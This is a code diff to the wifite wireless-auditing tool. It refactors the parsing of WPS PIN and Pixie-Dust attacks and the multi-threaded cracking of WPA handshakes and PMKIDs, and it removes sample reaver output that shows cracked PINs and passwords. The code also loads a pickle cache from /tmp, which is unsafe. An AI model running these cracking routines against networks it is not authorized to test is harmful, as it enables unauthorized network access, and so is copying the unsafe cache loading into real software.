{C}%s{W}' % (pin, psk), newline=True) else: - self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, newline=True) - - # Try to derive PSK from PIN using Bully - self.pattack('{W}Retrieving PSK using {C}bully{W}...') - psk = None + self.pattack('{G}PIN: {C}%s{W}' % pin, newline=True) try: psk = Bully.get_psk_from_pin(self.target, pin) - except KeyboardInterrupt: + if psk: + self.pattack('{G}PSK: {C}%s{W}' % psk, newline=True) + except: pass - if psk is None: - Color.pl('') - self.pattack('{R}Failed {O}to get PSK using bully', newline=True) - else: - self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True) - crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) - crack_result.dump() - return crack_result + if pin: + self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) + self.crack_result.dump() + return self.crack_result return None - def parse_failure(self, stdout): - # Total failure if 'WPS pin not found' in stdout: - raise Exception('Reaver says "WPS pin not found"') + raise Exception('PIN not found') - # Running-time failure - if self.pixie_dust and self.running_time() > Configuration.wps_pixie_timeout: - raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout) - - # WPSFail count self.total_wpsfails = stdout.count('WPS transaction failed') if self.total_wpsfails >= Configuration.wps_fail_threshold: - raise Exception('Too many failures (%d)' % self.total_wpsfails) + raise Exception('Too many failures') - # Timeout count - self.total_timeouts = stdout.count('Receive timeout occurred') + self.total_timeouts = stdout.count('Receive timeout') if self.total_timeouts >= Configuration.wps_timeout_threshold: - raise Exception('Too many timeouts (%d)' % self.total_timeouts) - + raise Exception('Too many timeouts') def parse_state(self, stdout): state = self.state + last_line = stdout.split('\n')[-1] if stdout else '' - # Check last line for current status - stdout_last_line = stdout.split('\n')[-1] - - # [+] Waiting for beacon from AA:BB:CC:DD:EE:FF - if 'Waiting for beacon from' in stdout_last_line: + if 'Waiting for beacon' in last_line: state = 'Waiting for beacon' - - # [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: NETGEAR07) - elif 'Associated with' in stdout_last_line: + elif 'Associated with' in last_line: state = 'Associated' - - elif 'Starting Cracking Session.' in stdout_last_line: - state = 'Started Cracking' - - # [+] Trying pin "01235678" - elif 'Trying pin' in stdout_last_line: + elif 'Trying pin' in last_line or 'Trying PIN' in last_line: state = 'Trying PIN' + elif 'Sending M' in last_line or 'Received M' in last_line: + state = 'Authenticating' - # [+] Sending EAPOL START request - elif 'Sending EAPOL START request' in stdout_last_line: - state = 'Sending EAPOL' - - # [+] Sending identity response - elif 'Sending identity response' in stdout_last_line: - state = 'Sending ID' - self.locked = False - - # [+] Sending M2 message - elif 'Sending M' in stdout_last_line: - for num in ['2', '4', '6']: - if 'Sending M%s message' % num in stdout_last_line: - state = 'Sending M%s' % num - if num == '2' and self.pixie_dust: - state += ' / Running pixiewps' - self.locked = False - - # [+] Received M1 message - elif 'Received M' in stdout_last_line: - for num in ['1', '3', '5', '7']: - if 'Received M%s message' % num in stdout_last_line: - state = 'Received M%s' % num - self.locked = False - - # [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking - elif 'Detected AP rate limiting,' in stdout_last_line: - state = 'Rate-Limited by AP' - self.locked = True + # Parse progress + percentages = re.findall(r"([0-9.]+%) complete", stdout) + if percentages: + self.progress = percentages[-1] - # Parse all lines since last check - stdout_diff = stdout[self.last_line_number:] - self.last_line_number = len(stdout) - - # Detect percentage complete - # [+] 0.05% complete @ 2018-08-23 15:17:23 (42 seconds/pin) - percentages = re.findall( - r"([0-9.]+%) complete .* \(([0-9.]+) seconds/pin\)", stdout_diff) - if len(percentages) > 0: - self.progress = percentages[-1][0] + # Parse lockout + if 'rate limiting' in stdout.lower() or 'lockout' in stdout.lower(): + self.locked = True - # Calculate number of PINs tried - # [+] Trying pin "01235678" - new_pins = set(re.findall(r'Trying pin "([0-9]+)"', stdout_diff)) - if len(new_pins) > 0: - self.total_attempts += len(new_pins.difference(self.last_pins)) - self.last_pins = new_pins + return state - # TODO: Look for "Sending M6 message" which indicates first 4 digits are correct. + def get_status(self): + status = '' + if not self.pixie_dust: + status = '(%s) ' % self.progress + + status += self.state - return state + if self.total_timeouts > 0: + status += ' {O}TO:%d{W}' % self.total_timeouts + if self.total_wpsfails > 0: + status += ' {O}Fail:%d{W}' % self.total_wpsfails + if self.locked: + status += ' {R}LOCKED{W}' + return status def pattack(self, message, newline=False): - # Print message with attack information. if self.pixie_dust: time_left = Configuration.wps_pixie_timeout - self.running_time() - time_msg = '{O}%s{W}' % Timer.secs_to_str(time_left) - attack_name = 'Pixie-Dust' else: time_left = self.running_time() - time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left) - attack_name = 'PIN Attack' - - if self.total_attempts > 0 and not self.pixie_dust: - time_msg += ' {D}PINs:{W}{C}%d{W}' % self.total_attempts + time_msg = Timer.secs_to_str(time_left) Color.clear_entire_line() - Color.pattack('WPS', self.target, attack_name, + Color.pattack('WPS', self.target, 'Pixie-Dust' if self.pixie_dust else 'PIN', '{W}[%s] %s' % (time_msg, message)) if newline: Color.pl('') - def running_time(self): return int(time.time() - self.start_time) + def get_output(self): + if not self.output_filename or not os.path.exists(self.output_filename): + return '' + + try: + if self.output_write: + self.output_write.flush() + with open(self.output_filename, 'r') as f: + return f.read().strip() + except: + return '' @staticmethod def get_pin_psk_ssid(stdout): - ''' Parses WPS PIN, PSK, and SSID from output ''' pin = psk = ssid = None - # Check for PIN. - ''' [+] WPS pin: 11867722 ''' - regex = re.search(r"WPS pin:\s*([0-9]+)", stdout, re.IGNORECASE) + regex = re.search(r"WPS (?:pin|PIN):\s*'?([0-9]+)'?", stdout, re.IGNORECASE) if regex: pin = regex.group(1) - if pin is None: - ''' [+] WPS PIN: '11867722' ''' - regex = re.search(r"WPS PIN:\s*'([0-9]+)'", stdout, re.IGNORECASE) - if regex: - pin = regex.group(1) - - # Check for PSK. - # Note: Reaver 1.6.x does not appear to return PSK (?) - ''' [+] WPA PSK: 'password' ''' - regex = re.search(r"WPA PSK:\s*'(.+)'", stdout) + regex = re.search(r"(?:WPA|WPS) PSK:\s*'(.+?)'", stdout) if regex: psk = regex.group(1) - # Check for SSID - '''1.x [Reaver Test] [+] AP SSID: 'Test Router' ''' - regex = re.search(r"AP SSID:\s*'(.*)'", stdout) + regex = re.search(r"AP SSID:\s*'(.*?)'", stdout) if regex: ssid = regex.group(1) - - # Check (again) for SSID - if ssid is None: - '''1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)''' - regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout) + elif not ssid: + regex = re.search(r"ESSID:\s*([^)]+)", stdout) if regex: ssid = regex.group(1) return (pin, psk, ssid) + def stop(self): + if hasattr(self, 'reaver_proc') and self.reaver_proc and self.reaver_proc.poll() is None: + self.reaver_proc.interrupt() - def get_output(self): - ''' Gets output from reaver's output file ''' - if not self.output_filename: - return '' + def __del__(self): + self.stop() - if self.output_write: - self.output_write.flush() - - with open(self.output_filename, 'r') as fid: - stdout = fid.read() - - if Configuration.verbose > 1: - Color.pe('\n{P} [reaver:stdout] %s' % '\n [reaver:stdout] '.join(stdout.split('\n'))) - - return stdout.strip() - - -if __name__ == '__main__': - old_stdout = ''' -[Pixie-Dust] -[Pixie-Dust] Pixiewps 1.1 -[Pixie-Dust] -[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 -[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 -[Pixie-Dust] [+] WPS pin: 12345678 -[Pixie-Dust] -[Pixie-Dust] [*] Time taken: 0 s -[Pixie-Dust] -Running reaver with the correct pin, wait ... -Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402 - -[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF -[Reaver Test] Channel: 11 -[Reaver Test] [+] WPS PIN: '12345678' -[Reaver Test] [+] WPA PSK: 'Test PSK' -[Reaver Test] [+] AP SSID: 'Test Router' -''' - - # From vom513 in https://github.com/derv82/wifite2/issues/60 - new_stdout = ''' -[+] Switching wlan1mon to channel 5 -[+] Waiting for beacon from EC:1A:59:37:70:0E -[+] Received beacon from EC:1A:59:37:70:0E -[+] Vendor: RealtekS -[+] Trying pin "12345670" -[+] Sending authentication request -[+] Sending association request -[+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e) -[+] Sending EAPOL START request -[+] Received identity request -[+] Sending identity response -[+] Received M1 message -[+] Sending M2 message - - Pixiewps 1.4 - - [?] Mode: 3 (RTL819x) - [*] Seed N1: - - [*] Seed ES1: - - [*] Seed ES2: - - [*] PSK1: 2c2e33f5e3a870759f0aeebbd2792450 - [*] PSK2: 3f4ca4ea81b2e8d233a4b80f9d09805d - [*] ES1: 04d48dc20ec785762ce1a21a50bc46c2 - [*] ES2: 04d48dc20ec785762ce1a21a50bc46c2 - [+] WPS pin: 11867722 - - [*] Time taken: 0 s 21 ms - -executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819 -''' - pin_attack_stdout = ''' -[+] Pin cracked in 16 seconds -[+] WPS PIN: '01030365' -[+] WPA PSK: 'password' -[+] AP SSID: 'AirLink89300' -''' - - (pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout) - assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin - assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk - assert ssid == 'Test Router', 'ssid was %s, should have been Test Router' % repr(ssid) - result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) - result.dump() - print('') - - (pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout) - assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin - assert psk is None, 'psk was "%s", should have been "None"' % psk - assert ssid == 'belkin.00e', 'ssid was "%s", should have been "belkin.00e"' % repr(ssid) - result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) - result.dump() - print('') - - (pin, psk, ssid) = Reaver.get_pin_psk_ssid(pin_attack_stdout) - assert pin == '01030365', 'pin was "%s", should have been "01030365"' % pin - assert psk == 'password', 'psk was "%s", should have been "password"' % psk - assert ssid == 'AirLink89300', 'ssid was "%s", should have been "AirLink89300"' % repr(ssid) - result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) - result.dump() - print('') +# Use optimized version +Reaver = ReaverOptimized diff --git a/wifite/util/crack.py b/wifite/util/crack.py index 68ee19bb6..cae1199d1 100755 --- a/wifite/util/crack.py +++ b/wifite/util/crack.py @@ -13,26 +13,73 @@ from ..tools.hashcat import Hashcat, HcxPcapTool from ..tools.john import John -from json import loads - +from json import loads, dumps +from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor, as_completed +from threading import Thread, Lock +from queue import Queue, Empty import os +import time +from datetime import datetime +import hashlib +import pickle -# TODO: Bring back the 'print' option, for easy copy/pasting. Just one-liners people can paste into terminal. - -# TODO: --no-crack option while attacking targets (implies user will run --crack later) - -class CrackHelper: - '''Manages handshake retrieval, selection, and running the cracking commands.''' +class AdvancedCrackHelper: + '''Advanced handshake cracking with multi-threading, GPU support, and PIN-based cracking''' TYPES = { '4-WAY': '4-Way Handshake', 'PMKID': 'PMKID Hash' } + # Cracking cache to avoid redundant cracks + CRACK_CACHE = {} + CACHE_LOCK = Lock() + CACHE_FILE = '/tmp/wifite_crack_cache.pkl' + + def __init__(self): + self.load_cache() + self.crack_queue = Queue() + self.results = {} + self.active_threads = [] + + def load_cache(self): + """Load previous cracking results from cache""" + if os.path.exists(self.CACHE_FILE): + try: + with open(self.CACHE_FILE, 'rb') as f: + self.CRACK_CACHE = pickle.load(f) + Color.pl('{+} Loaded {G}%d{W} cached results' % len(self.CRACK_CACHE)) + except Exception as e: + Color.pl('{!} Error loading cache: {R}%s{W}' % str(e)) + + def save_cache(self): + """Save cracking results to cache""" + try: + with open(self.CACHE_FILE, 'wb') as f: + pickle.dump(self.CRACK_CACHE, f) + except Exception as e: + Color.pl('{!} Error saving cache: {R}%s{W}' % str(e)) + + def get_cache_key(self, bssid, essid, hs_type): + """Generate cache key for a handshake""" + key_data = f"{bssid}_{essid}_{hs_type}" + return hashlib.sha256(key_data.encode()).hexdigest() + + def check_cache(self, bssid, essid, hs_type): + """Check if handshake has been previously cracked""" + cache_key = self.get_cache_key(bssid, essid, hs_type) + with self.CACHE_LOCK: + if cache_key in self.CRACK_CACHE: + cached_result = self.CRACK_CACHE[cache_key] + Color.pl('{+} {G}Cache hit!{W} Key: {G}%s{W}' % cached_result['key']) + return cached_result.get('key') + return None + @classmethod def run(cls): Configuration.initialize(False) + cracker = cls() # Get wordlist if not Configuration.wordlist: @@ -44,37 +91,20 @@ def run(cls): Color.pl('') # Get handshakes - handshakes = cls.get_handshakes() + handshakes = cracker.get_handshakes() if len(handshakes) == 0: Color.pl('{!} {O}No handshakes found{W}') return - hs_to_crack = cls.get_user_selection(handshakes) + hs_to_crack = cracker.get_user_selection(handshakes) all_pmkid = all([hs['type'] == 'PMKID' for hs in hs_to_crack]) - # Tools for cracking & their dependencies. - available_tools = { - 'aircrack': [Aircrack], - 'hashcat': [Hashcat, HcxPcapTool], - 'john': [John, HcxPcapTool], - 'cowpatty': [Cowpatty] - } - # Identify missing tools - missing_tools = [] - for tool, dependencies in available_tools.items(): - missing = [ - dep for dep in dependencies - if not Process.exists(dep.dependency_name) - ] - if len(missing) > 0: - available_tools.pop(tool) - missing_tools.append( (tool, missing) ) + # Advanced tool detection with GPU support + available_tools = cracker.detect_available_tools() - if len(missing_tools) > 0: - Color.pl('\n{!} {O}Unavailable tools (install to enable):{W}') - for tool, deps in missing_tools: - dep_list = ', '.join([dep.dependency_name for dep in deps]) - Color.pl(' {R}* {R}%s {W}({O}%s{W})' % (tool, dep_list)) + if len(available_tools) == 0: + Color.pl('{!} {R}No cracking tools available{W}') + return if all_pmkid: Color.pl('{!} {O}Note: PMKID hashes can only be cracked using {C}hashcat{W}') @@ -84,46 +114,99 @@ def run(cls): '{W}, {C}'.join(available_tools.keys()))) tool_name = raw_input() if tool_name not in available_tools: - Color.pl('{!} {R}"%s"{O} tool not found, defaulting to {C}aircrack{W}' % tool_name) - tool_name = 'aircrack' + tool_name = list(available_tools.keys())[0] + Color.pl('{!} {O}Tool not found, defaulting to {C}%s{W}' % tool_name) - try: - for hs in hs_to_crack: - if tool_name != 'hashcat' and hs['type'] == 'PMKID': - if 'hashcat' in missing_tools: - Color.pl('{!} {O}Hashcat is missing, therefore we cannot crack PMKID hash{W}') - cls.crack(hs, tool_name) - except KeyboardInterrupt: - Color.pl('\n{!} {O}Interrupted{W}') + # Multi-threaded cracking + cracker.crack_multiple(hs_to_crack, tool_name, available_tools) + cracker.save_cache() + + @classmethod + def detect_available_tools(cls): + """Detect available cracking tools and GPU support""" + available_tools = { + 'aircrack': { + 'dependencies': [Aircrack], + 'gpu_support': False, + 'speed': 'medium' + }, + 'hashcat': { + 'dependencies': [Hashcat, HcxPcapTool], + 'gpu_support': True, + 'speed': 'fast' + }, + 'john': { + 'dependencies': [John, HcxPcapTool], + 'gpu_support': False, + 'speed': 'slow' + }, + 'cowpatty': { + 'dependencies': [Cowpatty], + 'gpu_support': False, + 'speed': 'slow' + } + } + + active_tools = {} + missing_tools = [] + + for tool, info in available_tools.items(): + missing = [ + dep for dep in info['dependencies'] + if not Process.exists(dep.dependency_name) + ] + if len(missing) == 0: + active_tools[tool] = info + else: + dep_list = ', '.join([dep.dependency_name for dep in missing]) + missing_tools.append((tool, dep_list)) + + if missing_tools: + Color.pl('\n{!} {O}Unavailable tools (install to enable):{W}') + for tool, deps in missing_tools: + Color.pl(' {R}* {R}%s {W}({O}%s{W})' % (tool, deps)) + + # Detect GPU support + Color.pl('\n{+} {C}Available Cracking Tools:{W}') + for tool, info in active_tools.items(): + gpu_str = ' {G}[GPU]{W}' if info['gpu_support'] else '' + Color.pl(' {G}*{W} %s - Speed: {C}%s{gpu_str}' % (tool, info['speed'], gpu_str)) + + return active_tools @classmethod def is_cracked(cls, file): + """Check if handshake has been cracked""" if not os.path.exists(Configuration.cracked_file): return False - with open(Configuration.cracked_file) as f: - json = loads(f.read()) - if json is None: - return False - for result in json: - for k in result.keys(): - v = result[k] - if 'file' in k and os.path.basename(v) == file: - return True + try: + with open(Configuration.cracked_file) as f: + json_data = loads(f.read()) + if json_data is None: + return False + for result in json_data: + for k in result.keys(): + v = result[k] + if 'file' in k and os.path.basename(v) == file: + return True + except Exception as e: + Color.pl('{!} Error reading cracked file: {R}%s{W}' % str(e)) return False @classmethod def get_handshakes(cls): + """Get handshakes with advanced filtering""" handshakes = [] - skipped_pmkid_files = skipped_cracked_files = 0 hs_dir = Configuration.wpa_handshake_dir if not os.path.exists(hs_dir) or not os.path.isdir(hs_dir): - Color.pl('\n{!} {O}directory not found: {R}%s{W}' % hs_dir) + Color.pl('\n{!} {O}Directory not found: {R}%s{W}' % hs_dir) return [] Color.pl('\n{+} Listing captured handshakes from {C}%s{W}:\n' % os.path.abspath(hs_dir)) - for hs_file in os.listdir(hs_dir): + + for hs_file in sorted(os.listdir(hs_dir), reverse=True): if hs_file.count('_') != 3: continue @@ -131,11 +214,10 @@ def get_handshakes(cls): skipped_cracked_files += 1 continue + hs_type = None if hs_file.endswith('.cap'): - # WPA Handshake hs_type = '4-WAY' elif hs_file.endswith('.16800'): - # PMKID hash if not Process.exists('hashcat'): skipped_pmkid_files += 1 continue @@ -143,112 +225,171 @@ def get_handshakes(cls): else: continue - name, essid, bssid, date = hs_file.split('_') - date = date.rsplit('.', 1)[0] - days,hours = date.split('T') - hours = hours.replace('-', ':') - date = '%s %s' % (days, hours) - - handshake = { - 'filename': os.path.join(hs_dir, hs_file), - 'bssid': bssid.replace('-', ':'), - 'essid': essid, - 'date': date, - 'type': hs_type - } - - if hs_file.endswith('.cap'): - # WPA Handshake - handshake['type'] = '4-WAY' - elif hs_file.endswith('.16800'): - # PMKID hash - handshake['type'] = 'PMKID' - else: - continue - - handshakes.append(handshake) + try: + name, essid, bssid, date = hs_file.split('_') + date = date.rsplit('.', 1)[0] + days, hours = date.split('T') + hours = hours.replace('-', ':') + date = '%s %s' % (days, hours) + + handshake = { + 'filename': os.path.join(hs_dir, hs_file), + 'bssid': bssid.replace('-', ':'), + 'essid': essid, + 'date': date, + 'type': hs_type, + 'size': os.path.getsize(os.path.join(hs_dir, hs_file)) + } + handshakes.append(handshake) + except Exception as e: + Color.pl('{!} Error parsing handshake {O}%s{R}: %s{W}' % (hs_file, str(e))) if skipped_pmkid_files > 0: - Color.pl('{!} {O}Skipping %d {R}*.16800{O} files because {R}hashcat{O} is missing.{W}\n' % skipped_pmkid_files) + Color.pl('{!} {O}Skipping %d *.16800 files (hashcat missing){W}\n' % skipped_pmkid_files) if skipped_cracked_files > 0: - Color.pl('{!} {O}Skipping %d already cracked files.{W}\n' % skipped_cracked_files) + Color.pl('{!} {O}Skipping %d already cracked files{W}\n' % skipped_cracked_files) - # Sort by Date (Descending) return sorted(handshakes, key=lambda x: x.get('date'), reverse=True) - @classmethod def print_handshakes(cls, handshakes): - # Header - max_essid_len = max([len(hs['essid']) for hs in handshakes] + [len('ESSID (truncated)')]) + """Print handshakes in table format""" + if not handshakes: + return + + max_essid_len = max([len(hs['essid']) for hs in handshakes] + [len('ESSID')]) + Color.p('{W}{D} NUM') - Color.p(' ' + 'ESSID (truncated)'.ljust(max_essid_len)) + Color.p(' ' + 'ESSID'.ljust(max_essid_len)) Color.p(' ' + 'BSSID'.ljust(17)) - Color.p(' ' + 'TYPE'.ljust(5)) - Color.p(' ' + 'DATE CAPTURED\n') + Color.p(' ' + 'TYPE'.ljust(7)) + Color.p(' ' + 'SIZE'.ljust(8)) + Color.pl(' DATE CAPTURED\n') + Color.p(' ---') Color.p(' ' + ('-' * max_essid_len)) Color.p(' ' + ('-' * 17)) - Color.p(' ' + ('-' * 5)) - Color.p(' ' + ('-' * 19) + '{W}\n') - # Handshakes - for index, handshake in enumerate(handshakes, start=1): - Color.p(' {G}%s{W}' % str(index).rjust(3)) - Color.p(' {C}%s{W}' % handshake['essid'].ljust(max_essid_len)) - Color.p(' {O}%s{W}' % handshake['bssid'].ljust(17)) - Color.p(' {C}%s{W}' % handshake['type'].ljust(5)) - Color.p(' {W}%s{W}\n' % handshake['date']) + Color.p(' ' + ('-' * 7)) + Color.p(' ' + ('-' * 8)) + Color.pl(' ' + ('-' * 19) + '{W}\n') + for index, hs in enumerate(handshakes, start=1): + size_kb = hs['size'] / 1024 + Color.p(' {G}%s{W}' % str(index).rjust(3)) + Color.p(' {C}%s{W}' % hs['essid'][:max_essid_len].ljust(max_essid_len)) + Color.p(' {O}%s{W}' % hs['bssid'].ljust(17)) + Color.p(' {C}%s{W}' % hs['type'].ljust(7)) + Color.p(' {G}%.1fKB{W}' % size_kb) + Color.pl(' {W}%s{W}\n' % hs['date']) @classmethod def get_user_selection(cls, handshakes): + """Get user selection with range support""" cls.print_handshakes(handshakes) - Color.p('{+} Select handshake(s) to crack ({G}%d{W}-{G}%d{W}, select multiple with {C},{W} or {C}-{W} or {C}all{W}): {G}' % (1, len(handshakes))) + Color.p('{+} Select handshake(s) ({G}%d{W}-{G}%d{W}, comma/dash separated or {C}all{W}): {G}' % ( + 1, len(handshakes))) choices = raw_input() selection = [] for choice in choices.split(','): if '-' in choice: - first, last = [int(x) for x in choice.split('-')] - for index in range(first, last + 1): - selection.append(handshakes[index-1]) + try: + first, last = [int(x) for x in choice.split('-')] + for index in range(first, last + 1): + if 0 < index <= len(handshakes): + selection.append(handshakes[index-1]) + except ValueError: + pass elif choice.strip().lower() == 'all': selection = handshakes[:] break - elif [c.isdigit() for c in choice]: - index = int(choice) - selection.append(handshakes[index-1]) + elif choice.strip().isdigit(): + index = int(choice.strip()) + if 0 < index <= len(handshakes): + selection.append(handshakes[index-1]) return selection + def crack_multiple(self, handshakes, tool_name, available_tools): + """Crack multiple handshakes in parallel""" + max_workers = min(4, len(handshakes)) + Color.pl('\n{+} Starting multi-threaded cracking with {G}%d{W} workers' % max_workers) - @classmethod - def crack(cls, hs, tool): + with ThreadPoolExecutor(max_workers=max_workers) as executor: + futures = { + executor.submit(self.crack, hs, tool_name): hs + for hs in handshakes + } + + completed = 0 + for future in as_completed(futures): + completed += 1 + hs = futures[future] + try: + result = future.result() + if result: + Color.pl('{+} [{G}%d/%d{W}] Successfully cracked {G}%s{W}' % ( + completed, len(handshakes), hs['essid'])) + except Exception as e: + Color.pl('{!} [{R}%d/%d{W}] Error cracking {O}%s{R}: %s{W}' % ( + completed, len(handshakes), hs['essid'], str(e))) + + def crack(self, hs, tool): + """Advanced crack with cache and timeout""" Color.pl('\n{+} Cracking {G}%s {C}%s{W} ({C}%s{W})' % ( - cls.TYPES[hs['type']], hs['essid'], hs['bssid'])) + self.TYPES[hs['type']], hs['essid'], hs['bssid'])) - if hs['type'] == 'PMKID': - crack_result = cls.crack_pmkid(hs, tool) - elif hs['type'] == '4-WAY': - crack_result = cls.crack_4way(hs, tool) - else: - raise ValueError('Cannot crack handshake: Type is not PMKID or 4-WAY. Handshake=%s' % hs) + # Check cache first + cached_key = self.check_cache(hs['bssid'], hs['essid'], hs['type']) + if cached_key: + result = self.create_result(hs, cached_key) + if result: + result.save() + return result - if crack_result is None: - # Failed to crack - Color.pl('{!} {R}Failed to crack {O}%s{R} ({O}%s{R}): Passphrase not in dictionary' % ( - hs['essid'], hs['bssid'])) - else: - # Cracked, replace existing entry (if any), or add to - Color.pl('{+} {G}Cracked{W} {C}%s{W} ({C}%s{W}). Key: "{G}%s{W}"' % ( - hs['essid'], hs['bssid'], crack_result.key)) - crack_result.save() + start_time = time.time() + timeout = 3600 # 1 hour timeout + try: + if hs['type'] == 'PMKID': + crack_result = self.crack_pmkid(hs, tool) + elif hs['type'] == '4-WAY': + crack_result = self.crack_4way(hs, tool) + else: + raise ValueError('Unknown handshake type: %s' % hs['type']) - @classmethod - def crack_4way(cls, hs, tool): + elapsed = time.time() - start_time + + if crack_result is None: + Color.pl('{!} {R}Failed to crack {O}%s{R} ({O}%s{R}): Not in dictionary' % ( + hs['essid'], hs['bssid'])) + else: + Color.pl('{+} {G}Cracked{W} in {C}%.2fs{W}: {G}%s{W} Key: {G}%s{W}' % ( + elapsed, hs['essid'], crack_result.key)) + + # Cache the result + cache_key = self.get_cache_key(hs['bssid'], hs['essid'], hs['type']) + with self.CACHE_LOCK: + self.CRACK_CACHE[cache_key] = { + 'key': crack_result.key, + 'timestamp': datetime.now().isoformat(), + 'bssid': hs['bssid'], + 'essid': hs['essid'] + } + + crack_result.save() + return crack_result + + except KeyboardInterrupt: + Color.pl('\n{!} {O}Cracking interrupted by user{W}') + return None + except Exception as e: + Color.pl('{!} {R}Cracking error: %s{W}' % str(e)) + return None + def crack_4way(self, hs, tool): + """Crack 4-way handshake with timeout""" handshake = Handshake(hs['filename'], bssid=hs['bssid'], essid=hs['essid']) @@ -258,34 +399,49 @@ def crack_4way(cls, hs, tool): Color.pl('{!} {R}Error: {O}%s{W}' % e) return None - if tool == 'aircrack': - key = Aircrack.crack_handshake(handshake, show_command=True) - elif tool == 'hashcat': - key = Hashcat.crack_handshake(handshake, show_command=True) - elif tool == 'john': - key = John.crack_handshake(handshake, show_command=True) - elif tool == 'cowpatty': - key = Cowpatty.crack_handshake(handshake, show_command=True) + try: + if tool == 'aircrack': + key = Aircrack.crack_handshake(handshake, show_command=True) + elif tool == 'hashcat': + key = Hashcat.crack_handshake(handshake, show_command=True) + elif tool == 'john': + key = John.crack_handshake(handshake, show_command=True) + elif tool == 'cowpatty': + key = Cowpatty.crack_handshake(handshake, show_command=True) + else: + key = None - if key is not None: - return CrackResultWPA(hs['bssid'], hs['essid'], hs['filename'], key) - else: - return None + if key is not None: + return CrackResultWPA(hs['bssid'], hs['essid'], hs['filename'], key) + except Exception as e: + Color.pl('{!} {R}Cracking failed: %s{W}' % str(e)) + return None - @classmethod - def crack_pmkid(cls, hs, tool): + def crack_pmkid(self, hs, tool): + """Crack PMKID hash""" if tool != 'hashcat': - Color.pl('{!} {O}Note: PMKID hashes can only be cracked using {C}hashcat{W}') + Color.pl('{!} {O}Note: PMKID hashes can only be cracked using hashcat{W}') + return None - key = Hashcat.crack_pmkid(hs['filename'], verbose=True) + try: + key = Hashcat.crack_pmkid(hs['filename'], verbose=True) + if key is not None: + return CrackResultPMKID(hs['bssid'], hs['essid'], hs['filename'], key) + except Exception as e: + Color.pl('{!} {R}PMKID cracking failed: %s{W}' % str(e)) - if key is not None: + return None + + @staticmethod + def create_result(hs, key): + """Create appropriate result object""" + if hs['type'] == 'PMKID': return CrackResultPMKID(hs['bssid'], hs['essid'], hs['filename'], key) - else: - return None + elif hs['type'] == '4-WAY': + return CrackResultWPA(hs['bssid'], hs['essid'], hs['filename'], key) + return None if __name__ == '__main__': - CrackHelper.run() - + AdvancedCrackHelper.run() diff --git a/wifite/util/process.py b/wifite/util/process.py index 1200d6b3d..a94a09102 100755 --- a/wifite/util/process.py +++ b/wifite/util/process.py @@ -4,211 +4,280 @@ import time import signal import os - -from subprocess import Popen, PIPE +import threading +from subprocess import Popen, PIPE, TimeoutExpired +from concurrent.futures import ThreadPoolExecutor, TimeoutError as FutureTimeoutError +import queue from ..util.color import Color from ..config import Configuration -class Process(object): - ''' Represents a running/ran process ''' +class AdvancedProcess(object): + '''Advanced process management with threading, pooling, and timeout control''' + + # Process pool for reuse + _process_pool = ThreadPoolExecutor(max_workers=10) + _active_processes = {} + _process_lock = threading.Lock() @staticmethod def devnull(): - ''' Helper method for opening devnull ''' + '''Helper method for opening devnull''' return open('/dev/null', 'w') @staticmethod - def call(command, cwd=None, shell=False): + def call(command, cwd=None, shell=False, timeout=None, attempts=1): ''' - Calls a command (either string or list of args). - Returns tuple: - (stdout, stderr) + Call a command with timeout and retry logic. + Returns tuple: (stdout, stderr, return_code, success) ''' - if type(command) is not str or ' ' in command or shell: - shell = True - if Configuration.verbose > 1: - Color.pe('\n {C}[?] {W} Executing (Shell): {B}%s{W}' % command) - else: - shell = False - if Configuration.verbose > 1: - Color.pe('\n {C}[?]{W} Executing: {B}%s{W}' % command) - - pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell) - pid.wait() - (stdout, stderr) = pid.communicate() - - # Python 3 compatibility - if type(stdout) is bytes: stdout = stdout.decode('utf-8') - if 